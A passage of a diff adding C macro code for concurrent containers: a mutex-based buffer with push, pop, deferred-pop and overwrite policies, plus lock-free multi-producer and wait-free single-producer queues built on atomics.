+   if (M_BUFF3R_POLICY_P(policy, M_BUFFER_DEFERRED_POP))                      \
+     atomic_store_explicit(&dest->number[1], atomic_load_explicit(&v->number[1], memory_order_relaxed), memory_order_relaxed); \
+                                                                              \
+   m_cond_broadcast(v->there_is_room_for_data);                               \
+   m_cond_broadcast(v->there_is_data);                                        \
+   if (dest < v) {                                                            \
+      m_mutex_unlock(v->mutexPop);                                            \
+      m_mutex_unlock(v->mutexPush);                                           \
+      m_mutex_unlock(dest->mutexPop);                                         \
+      m_mutex_unlock(dest->mutexPush);                                        \
+   } else {                                                                   \
+      m_mutex_unlock(dest->mutexPop);                                         \
+      m_mutex_unlock(dest->mutexPush);                                        \
+      m_mutex_unlock(v->mutexPop);                                            \
+      m_mutex_unlock(v->mutexPush);                                           \
+   }                                                                          \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   M_BUFF3R_CONTRACT(dest, m_size);                                           \
+ }                                                                            \
+                                                                              \
+ M_INLINE bool                                                                \
+ M_F(name, _empty_p)(const buffer_t v)                                        \
+ {                                                                            \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   /* If the buffer has been configured with deferred pop                     \
+      we considered the queue as empty when the number of                     \
+      deferred pop has reached 0, not the number of items in the              \
+      buffer is 0. */                                                         \
+   if (M_BUFF3R_POLICY_P(policy, M_BUFFER_DEFERRED_POP))                      \
+     return atomic_load_explicit (&v->number[1], memory_order_relaxed) == 0;  \
+   else                                                                       \
+     return atomic_load_explicit (&v->number[0], memory_order_relaxed) == 0;  \
+ }                                                                            \
+                                                                              \
+ M_INLINE bool                                                                \
+ M_F(name, _full_p)(const buffer_t v)                                         \
+ {                                                                            \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   return atomic_load_explicit (&v->number[0], memory_order_relaxed)          \
+     == M_BUFF3R_SIZE(m_size);                                                \
+ }                                                                            \
+                                                                              \
+ M_INLINE size_t                                                              \
+ M_F(name, _size)(const buffer_t v)                                           \
+ {                                                                            \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   return atomic_load_explicit (&v->number[0], memory_order_relaxed);         \
+ }                                                                            \
+                                                                              \
+ M_N(bool, name, _push_blocking, buffer_t v, type const data, bool blocking)  \
+ {                                                                            \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   M_GLOBAL_CONTEXT();                                                        \
+   /* Producer Mutex lock (mutex lock performs an acquire memory barrier) */  \
+   m_mutex_lock(v->mutexPush);                                                \
+   while (!M_BUFF3R_POLICY_P((policy), M_BUFFER_PUSH_OVERWRITE)               \
+          && M_F(name, _full_p)(v)) {                                         \
+      if (!blocking) {                                                        \
+        m_mutex_unlock(v->mutexPush);                                         \
+        return false;                                                         \
+      }                                                                       \
+      m_cond_wait(v->there_is_room_for_data, v->mutexPush);                   \
+   }                                                                          \
+   M_BUFF3R_PROTECTED_CONTRACT(policy, v, m_size);                            \
+                                                                              \
+   size_t previousSize, idx = v->idx_prod;                                    \
+   /* INDEX computation if we have to overwrite the last element */           \
+   if (M_UNLIKELY (M_BUFF3R_POLICY_P((policy), M_BUFFER_PUSH_OVERWRITE)       \
+                   && M_F(name, _full_p)(v))) {                               \
+     v->overwrite++;                                                          \
+     /* Let's overwrite the last element */                                   \
+     /* Compute the index of the last push element */                         \
+     idx--;                                                                   \
+     if (!M_BUFF3R_POLICY_P((policy), M_BUFFER_STACK)) {                      \
+       idx = idx >= M_BUFF3R_SIZE(m_size) ? M_BUFF3R_SIZE(m_size)-1 : idx;    \
+     }                                                                        \
+     /* Overwrite data in the buffer */                                       \
+     M_CALL_SET(oplist, v->data[idx].x, data);                                \
+     previousSize = M_BUFF3R_SIZE(m_size);                                    \
+   } else {                                                                   \
+     /* Add a new item by pushing data in the buffer */                       \
+     M_CALL_INIT_SET(oplist, v->data[idx].x, data);                           \
+                                                                              \
+     /* Increment production INDEX of the buffer */                           \
+     idx++;                                                                   \
+     if (!M_BUFF3R_POLICY_P((policy), M_BUFFER_STACK)) {                      \
+       idx = (idx == M_BUFF3R_SIZE(m_size)) ? 0 : idx;                        \
+     }                                                                        \
+     v->idx_prod = idx;                                                       \
+                                                                              \
+     /* number[] is the only variable which can be modified by both           \
+        the consumer thread which has the pop lock and the producer           \
+        thread which has the push lock. As such, it is an atomic variable     \
+        that performs a release memory barrier. */                            \
+     /* Increment number of elements of the buffer */                         \
+     previousSize = atomic_fetch_add (&v->number[0], 1U);                     \
+     if (M_BUFF3R_POLICY_P((policy), M_BUFFER_DEFERRED_POP)) {                \
+       previousSize = atomic_fetch_add (&v->number[1], 1U);                   \
+     }                                                                        \
+     /* From this point, consumer may read the data in the table */           \
+   }                                                                          \
+                                                                              \
+   /* Producer unlock (mutex unlock performs a release memory barrier) */     \
+   m_mutex_unlock(v->mutexPush);                                              \
+    /* If the number of items in the buffer was 0, some consumer              \
+      may be waiting. Signal to them the availability of the data             \
+      We cannot only signal one thread. */                                    \
+   if (previousSize == 0) {                                                   \
+      m_mutex_lock(v->mutexPop);                                              \
+      m_cond_broadcast(v->there_is_data);                                     \
+      m_mutex_unlock(v->mutexPop);                                            \
+   }                                                                          \
+                                                                              \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   return true;                                                               \
+ }                                                                            \
+                                                                              \
+ M_N(void, name, _push, buffer_t v, type const data)                          \
+ {                                                                            \
+   bool b = M_F(name, _push_blocking)(v, data, true);                         \
+   assert(b);                                                                 \
+   (void) b;                                                                  \
+ }                                                                            \
+                                                                              \
+ M_N(bool, name, _push_move_blocking, buffer_t v, type *data, bool blocking)  \
+ {                                                                            \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   M_GLOBAL_CONTEXT();                                                        \
+   /* Producer Mutex lock (mutex lock performs an acquire memory barrier) */  \
+   m_mutex_lock(v->mutexPush);                                                \
+   while (!M_BUFF3R_POLICY_P((policy), M_BUFFER_PUSH_OVERWRITE)               \
+          && M_F(name, _full_p)(v)) {                                         \
+      if (!blocking) {                                                        \
+        m_mutex_unlock(v->mutexPush);                                         \
+        return false;                                                         \
+      }                                                                       \
+      m_cond_wait(v->there_is_room_for_data, v->mutexPush);                   \
+   }                                                                          \
+   M_BUFF3R_PROTECTED_CONTRACT(policy, v, m_size);                            \
+                                                                              \
+   size_t previousSize, idx = v->idx_prod;                                    \
+   /* INDEX computation if we have to overwrite the last element */           \
+   if (M_UNLIKELY (M_BUFF3R_POLICY_P((policy), M_BUFFER_PUSH_OVERWRITE)       \
+                   && M_F(name, _full_p)(v))) {                               \
+     v->overwrite++;                                                          \
+     /* Let's overwrite the last element */                                   \
+     /* Compute the index of the last push element */                         \
+     idx--;                                                                   \
+     if (!M_BUFF3R_POLICY_P((policy), M_BUFFER_STACK)) {                      \
+       idx = idx >= M_BUFF3R_SIZE(m_size) ? M_BUFF3R_SIZE(m_size)-1 : idx;    \
+     }                                                                        \
+     /* Overwrite data in the buffer */                                       \
+     M_DO_MOVE(oplist, v->data[idx].x, *data);                                \
+     previousSize = M_BUFF3R_SIZE(m_size);                                    \
+   } else {                                                                   \
+     /* Add a new item in the buffer */                                       \
+     /* PUSH data in the buffer */                                            \
+     M_CALL_INIT_MOVE(oplist, v->data[idx].x, *data);                         \
+                                                                              \
+     /* Increment production INDEX of the buffer */                           \
+     idx++;                                                                   \
+     if (!M_BUFF3R_POLICY_P((policy), M_BUFFER_STACK)) {                      \
+       idx = (idx == M_BUFF3R_SIZE(m_size)) ? 0 : idx;                        \
+     }                                                                        \
+     v->idx_prod = idx;                                                       \
+                                                                              \
+     /* number[] is the only variable which can be modified by both           \
+        the consumer thread which has the pop lock and the producer           \
+        thread which has the push lock. As such, it is an atomic variable     \
+        that performs a release memory barrier. */                            \
+     /* Increment number of elements of the buffer */                         \
+     previousSize = atomic_fetch_add (&v->number[0], 1U);                     \
+     if (M_BUFF3R_POLICY_P((policy), M_BUFFER_DEFERRED_POP)) {                \
+       previousSize = atomic_fetch_add (&v->number[1], 1U);                   \
+     }                                                                        \
+     /* From this point, consumer may read the data in the table */           \
+   }                                                                          \
+                                                                              \
+   /* Producer unlock (mutex unlock performs a release memory barrier) */     \
+   m_mutex_unlock(v->mutexPush);                                              \
+    /* If the number of items in the buffer was 0, some consumer              \
+      may be waiting. Signal to them the availability of the data             \
+      We cannot only signal one thread. */                                    \
+   if (previousSize == 0) {                                                   \
+      m_mutex_lock(v->mutexPop);                                              \
+      m_cond_broadcast(v->there_is_data);                                     \
+      m_mutex_unlock(v->mutexPop);                                            \
+   }                                                                          \
+                                                                              \
+   M_BUFF3R_CONTRACT(v,m_size);                                               \
+   return true;                                                               \
+ }                                                                            \
+                                                                              \
+ M_N(void, name, _push_move, buffer_t v, type *data)                          \
+ {                                                                            \
+   bool b = M_F(name, _push_move_blocking)(v, data, true);                    \
+   assert(b);                                                                 \
+   (void) b;                                                                  \
+ }                                                                            \
+                                                                              \
+ M_N(bool, name, _pop_blocking, type *data, buffer_t v, bool blocking)        \
+ {                                                                            \
+   M_ASSERT (data != NULL);                                                   \
+   M_GLOBAL_CONTEXT();                                                        \
+   M_BUFF3R_PRE_POP(name, v, m_size, policy, blocking, idx);                  \
+   M_DO_MOVE (oplist, *data, v->data[idx].x);                                 \
+   M_BUFF3R_POST_POP(name,v, m_size, policy);                                 \
+ }                                                                            \
+                                                                              \
+ M_N(void, name, _pop, type *data, buffer_t v)                                \
+ {                                                                            \
+   bool b = M_F(name, _pop_blocking)(data, v, true);                          \
+   assert(b);                                                                 \
+   (void) b;                                                                  \
+ }                                                                            \
+                                                                              \
+ M_N(bool, name, _pop_move_blocking, type *data, buffer_t v, bool blocking)   \
+ {                                                                            \
+   M_ASSERT (data != NULL);                                                   \
+   M_GLOBAL_CONTEXT();                                                        \
+   M_BUFF3R_PRE_POP(name, v, m_size, policy, blocking, idx);                  \
+   M_CALL_INIT_MOVE (oplist, *data, v->data[idx].x);                          \
+   M_BUFF3R_POST_POP(name,v, m_size, policy);                                 \
+ }                                                                            \
+                                                                              \
+ M_N(void, name, _pop_move, type *data, buffer_t v)                           \
+ {                                                                            \
+   bool b = M_F(name, _pop_move_blocking)(data, v, true);                     \
+   assert(b);                                                                 \
+   (void) b;                                                                  \
+ }                                                                            \
+                                                                              \
+ M_INLINE size_t                                                              \
+ M_F(name, _overwrite)(const buffer_t v)                                      \
+ {                                                                            \
+   return v->overwrite;                                                       \
+ }                                                                            \
+                                                                              \
+ M_INLINE size_t                                                              \
+ M_F(name, _capacity)(const buffer_t v)                                       \
+ {                                                                            \
+   (void) v; /* may be unused */                                              \
+   return M_BUFF3R_SIZE(m_size);                                              \
+ }                                                                            \
+                                                                              \
+ M_INLINE void                                                                \
+ M_F(name, _pop_release)(buffer_t v)                                          \
+ {                                                                            \
+   /* Decrement the effective number of elements in the buffer */             \
+   if (M_BUFF3R_POLICY_P((policy), M_BUFFER_DEFERRED_POP)) {                  \
+     size_t previousSize = atomic_fetch_sub (&v->number[0], 1U);              \
+     if (previousSize == M_BUFF3R_SIZE(m_size)) {                             \
+       m_mutex_lock(v->mutexPush);                                            \
+       m_cond_broadcast(v->there_is_room_for_data);                           \
+       m_mutex_unlock(v->mutexPush);                                          \
+     }                                                                        \
+   }                                                                          \
+ }                                                                            \
+
+/* Define the stub to do before performing the copy of the data in a pop */
+#define M_BUFF3R_PRE_POP(name, v, m_size, policy, blocking, idx)              \
+  M_BUFF3R_CONTRACT(v,m_size);                                                \
+  /* consumer lock (mutex lock performs an acquire memory barrier) */         \
+  m_mutex_lock(v->mutexPop);                                                  \
+  while (M_F(name, _empty_p)(v)) {                                            \
+    if (!blocking) {                                                          \
+      m_mutex_unlock(v->mutexPop);                                            \
+      return false;                                                           \
+    }                                                                         \
+    m_cond_wait(v->there_is_data, v->mutexPop);                               \
+  }                                                                           \
+  M_BUFF3R_PROTECTED_CONTRACT(policy, v, m_size);                             \
+  /* POP data from the buffer and update INDEX */                             \
+  size_t idx;                                                                 \
+  if (!M_BUFF3R_POLICY_P((policy), M_BUFFER_STACK)) {                         \
+    /* FIFO queue */                                                          \
+    idx = v->idx_cons;                                                        \
+    v->idx_cons = (v->idx_cons == M_BUFF3R_SIZE(m_size)-1) ? 0 : (v->idx_cons + 1); \
+  } else {                                                                    \
+    /* STACK queue */                                                         \
+    idx = -- v->idx_prod;                                                     \
+  }                                                                           \
+
+/* Define the stub to do after performing the copy of the data in a pop */
+#define M_BUFF3R_POST_POP(name, v, m_size, policy)                            \
+  /* number[] is the only variable which can be modified by both              \
+    the consumer thread which has the pop lock and the producer               \
+    thread which has the push lock. As such, it is an atomic variable         \
+    that performs a release memory barrier. */                                \
+  /* Decrement number of elements in the buffer */                            \
+  size_t previousSize;                                                        \
+  if (!M_BUFF3R_POLICY_P((policy), M_BUFFER_DEFERRED_POP)) {                  \
+    previousSize = atomic_fetch_sub (&v->number[0], 1U);                      \
+  } else {                                                                    \
+    atomic_fetch_sub (&v->number[1], 1U);                                     \
+  }                                                                           \
+  /* Space may be reused by a producer thread from this point */              \
+  /* consumer unlock (mutex unlock performs a release memory barrier) */      \
+  m_mutex_unlock(v->mutexPop);                                                \
+  /* If the number of items in the buffer was the max, some producer          \
+    may be waiting. Signal to them the availability of the free room          \
+    We cannot only signal one thread. */                                      \
+  if ((!M_BUFF3R_POLICY_P((policy), M_BUFFER_DEFERRED_POP))                   \
+      && previousSize == M_BUFF3R_SIZE(m_size)) {                             \
+    m_mutex_lock(v->mutexPush);                                               \
+    m_cond_broadcast(v->there_is_room_for_data);                              \
+    m_mutex_unlock(v->mutexPush);                                             \
+  }                                                                           \
+                                                                              \
+  M_BUFF3R_CONTRACT(v,m_size);                                                \
+  return true;                                                                \
+
+/********************************** INTERNAL *********************************/
+
+/* Definition of a a QUEUE for Many Producers / Many consumers
+   for high bandwidth scenario:
+   * nearly lock-free,
+   * quite fast
+   * no blocking calls.
+   * only queue (no stack)
+   * size of queue is always a power of 2
+   * no overwriting.
+   */
+
+/* Deferred evaluation for the definition,
+   so that all arguments are evaluated before further expansion */
+#define M_QU3UE_MPMC_DEF_P1(arg) M_ID( M_QU3UE_MPMC_DEF_P2 arg )
+
+/* Validate the value oplist before going further */
+#define M_QU3UE_MPMC_DEF_P2(name, type, policy, oplist, buffer_t)             \
+  M_IF_OPLIST(oplist)(M_QU3UE_MPMC_DEF_P3, M_QU3UE_MPMC_DEF_FAILURE)(name, type, policy, oplist, buffer_t)
+
+/* Stop processing with a compilation failure */
+#define M_QU3UE_MPMC_DEF_FAILURE(name, type, policy, oplist, buffer_t)        \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(QUEUE_MPMC_DEF): the given argument is not a valid oplist: " M_AS_STR(oplist))
+
+#ifdef NDEBUG
+# define M_QU3UE_MPMC_CONTRACT(v) /* nothing */
+#else
+# define M_QU3UE_MPMC_CONTRACT(v) do {                                        \
+    M_ASSERT (v != 0);                                                        \
+    M_ASSERT (v->Tab != NULL);                                                \
+    unsigned int _r = atomic_load(&v->ConsoIdx);                              \
+    unsigned int _w = atomic_load(&v->ProdIdx);                               \
+    _r = atomic_load(&v->ConsoIdx);                                           \
+    M_ASSERT (_r > _w || _w-_r <= v->size);                                   \
+    M_ASSERT (M_POWEROF2_P(v->size));                                         \
+  } while (0)
+#endif
+
+
+/* Define the buffer type MPMC using atomics and its functions.
+  - name: main prefix of the container
+  - type: type of an element of the buffer
+  - policy: the policy of the buffer
+  - oplist: the oplist of the type of an element of the buffer
+  - buffer_t: name of the buffer
+  */
+#define M_QU3UE_MPMC_DEF_P3(name, type, policy, oplist, buffer_t)             \
+  M_QU3UE_MPMC_DEF_TYPE(name, type, policy, oplist, buffer_t)                 \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_QU3UE_MPMC_DEF_CORE(name, type, policy, oplist, buffer_t)                 \
+  M_EMPLACE_QUEUE_DEF(name, buffer_t, _emplace, oplist, M_BUFF3R_EMPLACE_QUEUE_GENE)
+
+/* Define the type of a MPMC queue */
+#define M_QU3UE_MPMC_DEF_TYPE(name, type, policy, oplist, buffer_t)           \
+                                                                              \
+  /* The sequence number of an element will be equal to either                \
+     - 2* the index of the production which creates it,                       \
+     - 1 + 2* the index of the consumption which consumes it                  \
+     In case of wrapping, as there is no order comparison but only            \
+     equal comparison, there is no special issue.                             \
+     Each element is put in a separate cache line to avoid false              \
+     sharing by multiple writing threads.                                     \
+  */                                                                          \
+  typedef struct M_F(name, _el_s) {                                           \
+    atomic_uint  seq;        /* Can only increase until wrapping */           \
+    type         x;                                                           \
+    M_CACHELINE_ALIGN(align, atomic_uint, type);                              \
+  } M_F(name, _el_ct);                                                        \
+                                                                              \
+  /* If there is only one producer and one consumer, then they won't          \
+     typically use the same cache line, increasing performance. */            \
+  typedef struct M_F(name, _s) {                                              \
+    atomic_uint ProdIdx; /* Can only increase until wrapping */               \
+    M_CACHELINE_ALIGN(align1, atomic_uint);                                   \
+    atomic_uint ConsoIdx; /* Can only increase until wrapping */              \
+    M_CACHELINE_ALIGN(align2, atomic_uint);                                   \
+    M_F(name, _el_ct) *Tab;                                                   \
+    unsigned int size;                                                        \
+  } buffer_t[1];                                                              \
+                                                                              \
+  typedef type M_F(name, _subtype_ct);                                        \
+  typedef buffer_t M_F(name, _ct);                                            \
+
+/* Define the core functionalities of a MPMC queue */
+#define M_QU3UE_MPMC_DEF_CORE(name, type, policy, oplist, buffer_t)           \
+  M_N(bool, name, _push, buffer_t table, type const x)                        \
+  {                                                                           \
+    M_QU3UE_MPMC_CONTRACT(table);                                             \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int idx = atomic_load_explicit(&table->ProdIdx,                  \
+                                            memory_order_relaxed);            \
+    const unsigned int i = idx & (table->size -1);                            \
+    const unsigned int seq = atomic_load_explicit(&table->Tab[i].seq,         \
+                                                  memory_order_acquire);      \
+    if (M_UNLIKELY (2*(idx - table->size) + 1 != seq))        {               \
+      /* Buffer full (or unlikely preemption). Can not push */                \
+      return false;                                                           \
+    }                                                                         \
+    if (M_UNLIKELY (!atomic_compare_exchange_strong_explicit(&table->ProdIdx, \
+           &idx, idx+1, memory_order_relaxed, memory_order_relaxed))) {       \
+      /* Thread has been preempted by another one. */                         \
+      return false;                                                           \
+    }                                                                         \
+    /* If it is interrupted here, it may block all pop methods (not push)     \
+       even if there is other threads that have pushed data later in the      \
+       queue as all pop threads will try to enqueue this particular element   \
+       but always fail. The won't try to enqueue other elements.              \
+       As such, this queue is not strictly lock-free.*/                       \
+    M_CALL_INIT_SET(oplist, table->Tab[i].x, x);                              \
+    /* Finish transaction */                                                  \
+    atomic_store_explicit(&table->Tab[i].seq, 2*idx, memory_order_release);   \
+    M_QU3UE_MPMC_CONTRACT(table);                                             \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_N(bool, name, _push_move, buffer_t table, type *x)                        \
+  {                                                                           \
+    M_QU3UE_MPMC_CONTRACT(table);                                             \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int idx = atomic_load_explicit(&table->ProdIdx,                  \
+                                            memory_order_relaxed);            \
+    const unsigned int i = idx & (table->size -1);                            \
+    const unsigned int seq = atomic_load_explicit(&table->Tab[i].seq,         \
+                                                  memory_order_acquire);      \
+    if (M_UNLIKELY (2*(idx - table->size) + 1 != seq))        {               \
+      /* Buffer full (or unlikely preemption). Can not push */                \
+      return false;                                                           \
+    }                                                                         \
+    if (M_UNLIKELY (!atomic_compare_exchange_strong_explicit(&table->ProdIdx, \
+           &idx, idx+1, memory_order_relaxed, memory_order_relaxed))) {       \
+      /* Thread has been preempted by another one. */                         \
+      return false;                                                           \
+    }                                                                         \
+    /* If it is interrupted here, it may block all pop methods (not push)     \
+       even if there is other threads that have pushed data later in the      \
+       queue as all pop threads will try to enqueue this particular element   \
+       but always fail. The won't try to enqueue other elements.              \
+       As such, this queue is not strictly lock-free.*/                       \
+    M_CALL_INIT_MOVE(oplist, table->Tab[i].x, *x);                            \
+    /* Finish transaction */                                                  \
+    atomic_store_explicit(&table->Tab[i].seq, 2*idx, memory_order_release);   \
+    M_QU3UE_MPMC_CONTRACT(table);                                             \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_N(bool, name, _pop, type *ptr, buffer_t table)                            \
+  {                                                                           \
+    M_QU3UE_MPMC_CONTRACT(table);                                             \
+    M_ASSERT (ptr != NULL);                                                   \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int iC = atomic_load_explicit(&table->ConsoIdx,                  \
+                                           memory_order_relaxed);             \
+    const unsigned int i = (iC & (table->size -1));                           \
+    const unsigned int seq = atomic_load_explicit(&table->Tab[i].seq,         \
+                                                  memory_order_acquire);      \
+    if (seq != 2 * iC) {                                                      \
+      /* Nothing in buffer to consume (or unlikely preemption) */             \
+      return false;                                                           \
+    }                                                                         \
+    if (M_UNLIKELY (!atomic_compare_exchange_strong_explicit(&table->ConsoIdx, \
+             &iC, iC+1, memory_order_relaxed, memory_order_relaxed))) {       \
+      /* Thread has been preempted by another one */                          \
+      return false;                                                           \
+    }                                                                         \
+    M_DO_MOVE (oplist, *ptr, table->Tab[i].x);                                \
+    atomic_store_explicit(&table->Tab[i].seq, 2*iC + 1, memory_order_release); \
+    M_QU3UE_MPMC_CONTRACT(table);                                             \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_N(bool, name, _pop_move, type *ptr, buffer_t table)                       \
+  {                                                                           \
+    M_QU3UE_MPMC_CONTRACT(table);                                             \
+    M_ASSERT (ptr != NULL);                                                   \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int iC = atomic_load_explicit(&table->ConsoIdx,                  \
+                                           memory_order_relaxed);             \
+    const unsigned int i = (iC & (table->size -1));                           \
+    const unsigned int seq = atomic_load_explicit(&table->Tab[i].seq,         \
+                                                  memory_order_acquire);      \
+    if (seq != 2 * iC) {                                                      \
+      /* Nothing in buffer to consume (or unlikely preemption) */             \
+      return false;                                                           \
+    }                                                                         \
+    if (M_UNLIKELY (!atomic_compare_exchange_strong_explicit(&table->ConsoIdx, \
+             &iC, iC+1, memory_order_relaxed, memory_order_relaxed))) {       \
+      /* Thread has been preempted by another one */                          \
+      return false;                                                           \
+    }                                                                         \
+    M_CALL_INIT_MOVE (oplist, *ptr, table->Tab[i].x);                         \
+    atomic_store_explicit(&table->Tab[i].seq, 2*iC + 1, memory_order_release); \
+    M_QU3UE_MPMC_CONTRACT(table);                                             \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_N(void, name, _init, buffer_t buffer, size_t size)                        \
+  {                                                                           \
+    M_ASSERT (buffer != NULL);                                                \
+    M_ASSERT( M_POWEROF2_P(size) && 0 < size && size <= UINT_MAX);            \
+    M_ASSERT(((policy) & (M_BUFFER_STACK|M_BUFFER_PUSH_OVERWRITE)) == 0);     \
+    M_GLOBAL_CONTEXT();                                                       \
+    atomic_init(&buffer->ProdIdx, (unsigned int) size);                       \
+    atomic_init(&buffer->ConsoIdx, (unsigned int) size);                      \
+    buffer->size = (unsigned int) size;                                       \
+    buffer->Tab = M_CALL_REALLOC(oplist, M_F(name, _el_ct), NULL, 0, size);   \
+    if (M_UNLIKELY_NOMEM (buffer->Tab == NULL)) {                             \
+      M_MEMORY_FULL (M_F(name, _el_ct), size);                                \
+    }                                                                         \
+    for(unsigned int j = 0; j < (unsigned int) size; j++) {                   \
+      atomic_init(&buffer->Tab[j].seq, 2*j+1U);                               \
+    }                                                                         \
+    M_QU3UE_MPMC_CONTRACT(buffer);                                            \
+  }                                                                           \
+                                                                              \
+  M_N(void, name, _clear, buffer_t buffer)                                    \
+  {                                                                           \
+    M_QU3UE_MPMC_CONTRACT(buffer);                                            \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int iP = atomic_load_explicit(&buffer->ProdIdx, memory_order_relaxed); \
+    unsigned int i  = iP & (buffer->size -1);                                 \
+    unsigned int iC = atomic_load_explicit(&buffer->ConsoIdx, memory_order_relaxed); \
+    unsigned int j  = iC & (buffer->size -1);                                 \
+    while (i != j) {                                                          \
+      M_CALL_CLEAR(oplist, buffer->Tab[j].x);                                 \
+      j = (j+1)>= buffer->size ? 0 : (j+1);                                   \
+    }                                                                         \
+    M_CALL_FREE(oplist, M_F(name, _el_ct), buffer->Tab, buffer->size);        \
+    buffer->Tab = NULL; /* safer */                                           \
+    buffer->size = 3;                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(buffer_t table)                                            \
+  {                                                                           \
+    M_QU3UE_MPMC_CONTRACT(table);                                             \
+    const unsigned int iC = atomic_load_explicit(&table->ConsoIdx, memory_order_relaxed); \
+    const unsigned int iP = atomic_load_explicit(&table->ProdIdx, memory_order_acquire); \
+    /* We return an approximation as we can't read both iC & iP atomically    \
+       As we read producer index after consumer index,                        \
+       and they are atomic variables without reordering                       \
+       producer index is always greater or equal than consumer index          \
+       (or on overflow occurs, in which case as we compute with modulo        \
+       arithmetic, the right result is computed).                             \
+       We may return a result which is greater than the size of the queue     \
+       if the function is interrupted a long time between reading iC &        \
+       iP. the function is not protected against it.                          \
+    */                                                                        \
+    return iP-iC;                                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _capacity)(buffer_t v)                                            \
+  {                                                                           \
+    M_QU3UE_MPMC_CONTRACT(v);                                                 \
+    return v->size;                                                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(buffer_t v)                                             \
+  {                                                                           \
+    return M_F(name, _size) (v) == 0;                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _full_p)(buffer_t v)                                              \
+  {                                                                           \
+    return M_F(name, _size)(v) >= v->size;                                    \
+  }                                                                           \
+  
+
+/********************************** INTERNAL *********************************/
+
+/* Definition of a a QUEUE for Single Producer / Single consumer
+   for high bandwidth scenario:
+   * wait-free,
+   * quite fast
+   * no blocking calls.
+   * only queue (no stack)
+   * size of queue is always a power of 2
+   * no overwriting.
+   */
+
+/* Deferred evaluation for the definition,
+   so that all arguments are evaluated before further expansion */
+#define M_QU3UE_SPSC_DEF_P1(arg) M_ID( M_QU3UE_SPSC_DEF_P2 arg )
+
+/* Validate the value oplist before going further */
+#define M_QU3UE_SPSC_DEF_P2(name, type, policy, oplist, buffer_t)             \
+  M_IF_OPLIST(oplist)(M_QU3UE_SPSC_DEF_P3, M_QU3UE_SPSC_DEF_FAILURE)(name, type, policy, oplist, buffer_t)
+
+/* Stop processing with a compilation failure */
+#define M_QU3UE_SPSC_DEF_FAILURE(name, type, policy, oplist, buffer_t)        \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(QUEUE_SPSC_DEF): the given argument is not a valid oplist: " M_AS_STR(oplist))
+
+#ifdef NDEBUG
+#define M_QU3UE_SPSC_CONTRACT(table) do { } while (0)
+#else
+#define M_QU3UE_SPSC_CONTRACT(table) do {                                     \
+    M_ASSERT (table != NULL);                                                 \
+    unsigned int _r = atomic_load(&table->consoIdx);                          \
+    unsigned int _w = atomic_load(&table->prodIdx);                           \
+    /* Due to overflow we don't have M_ASSERT (_r <= _w); */                  \
+    _r = atomic_load(&table->consoIdx);                                       \
+    M_ASSERT (_r > _w || _w-_r <= table->size);                               \
+    M_ASSERT (M_POWEROF2_P(table->size));                                     \
+  } while (0)
+#endif
+
+/* Define the buffer type SPSC using atomics and its functions.
+  - name: main prefix of the container
+  - type: type of an element of the buffer
+  - policy: the policy of the buffer
+  - oplist: the oplist of the type of an element of the buffer
+  - buffer_t: name of the buffer
+  */
+#define M_QU3UE_SPSC_DEF_P3(name, type, policy, oplist, buffer_t)             \
+  M_QU3UE_SPSC_DEF_TYPE(name, type, policy, oplist, buffer_t)                 \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_QU3UE_SPSC_DEF_CORE(name, type, policy, oplist, buffer_t)                 \
+  M_EMPLACE_QUEUE_DEF(name, buffer_t, _emplace, oplist, M_BUFF3R_EMPLACE_QUEUE_GENE)
+
+/* Define the type of a SPSC queue */
+#define M_QU3UE_SPSC_DEF_TYPE(name, type, policy, oplist, buffer_t)           \
+                                                                              \
+  /* Single producer / Single consumer                                        \
+     So, only one thread will write in this table. The other thread           \
+     will only read. As such, there is no concurrent write, and no            \
+     need to align the structure for best performance. */                     \
+  typedef struct M_F(name, _el_s) {                                           \
+    type         x;                                                           \
+  } M_F(name, _el_ct);                                                        \
+                                                                              \
+  typedef struct M_F(name, _s) {                                              \
+    atomic_uint  consoIdx; /* Can only increase until overflow */             \
+    unsigned int size;                                                        \
+    M_F(name, _el_ct) *Tab;                                                   \
+    M_CACHELINE_ALIGN(align, atomic_uint, unsigned int, M_F(name, _el_ct) *); \
+    atomic_uint prodIdx;  /* Can only increase until overflow */              \
+  } buffer_t[1];                                                              \
+                                                                              \
+  typedef type M_F(name, _subtype_ct);                                        \
+  typedef buffer_t M_F(name, _ct);                                            \
+
+/* Define the core functionalities of a SPSC queue */
+#define M_QU3UE_SPSC_DEF_CORE(name, type, policy, oplist, buffer_t)           \
+                                                                              \
+  M_N(bool, name, _push, buffer_t table, type const x)                        \
+  {                                                                           \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int r = atomic_load_explicit(&table->consoIdx,                   \
+                                          memory_order_relaxed);              \
+    unsigned int w = atomic_load_explicit(&table->prodIdx,                    \
+                                          memory_order_acquire);              \
+    if (w-r >= table->size)                                                   \
+      return false;                                                           \
+    unsigned int i = w & (table->size -1);                                    \
+    M_CALL_INIT_SET(oplist, table->Tab[i].x, x);                              \
